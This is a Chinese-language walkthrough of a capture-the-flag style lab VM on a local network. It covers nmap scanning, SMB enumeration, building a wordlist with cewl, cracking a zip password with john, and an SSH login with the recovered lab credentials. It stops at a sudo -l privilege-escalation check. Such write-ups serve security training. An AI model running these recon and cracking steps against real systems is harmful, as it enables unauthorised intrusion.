1，將兩臺虛擬機網絡連接都改為NAT模式

2，攻擊機上做namp局域網掃描發現靶機

nmap -sn 192.168.23.0/24

那么攻擊機IP為192.168.23.182，靶場IP192.168.23.3

3，對靶機進行端口服務探測

nmap -sV -T4 -p- -A 192.168.23.3

4，起手先訪問一下80端口存在的http服務，直接使用IP訪問緩慢，需要修改host文件添加一條域名解析

echo "192.168.23.3 vengeance.goodtech.inc" >>/etc/hosts

http://vengeance.goodtech.inc/

然后就是掃描一下目錄：

dirsearch -u http://vengeance.goodtech.inc -x 404,403

5，用?enum4linux掃描一下：

enum4linux 192.168.23.3

smbclient -N \\\\192.168.23.3\\sarapublic$

gio.zip打開需要密碼

密碼應該隱藏在上面下載的那幾個文件里，先把那幾個文件做成密碼本，使用cewl字典生成工具生成密碼本，先在本地開啟個 http 服務，然后利用cewl爬取文件關鍵字生成密碼本：

cewl 192.168.23.3:8000/blurb.txt >> pass.txt

cewl 192.168.23.3:8000/eaurouge >> pass.txt

cewl 192.168.23.3:8000/eaurouge.txt >> pass.txt

cewl 192.168.23.3:8000/essay.txt >> pass.txt

cewl 192.168.23.3:8000/profile.txt >> pass.txt

cewl 192.168.23.3:8000/to-do >> pass.txt

利用生成的密碼本爆破一下 zip 文件：

john --wordlist=pass.txt password.txt

nanotechnological

6，使用獲得賬戶和密碼信息：qinyi/giovanni_130R_Suzuka，進行ssh登錄，成功獲得shell權限

ssh qinyi@192.168.23.3 -p 22222

信息收集一下

看一下如何sudo提權 sudo -l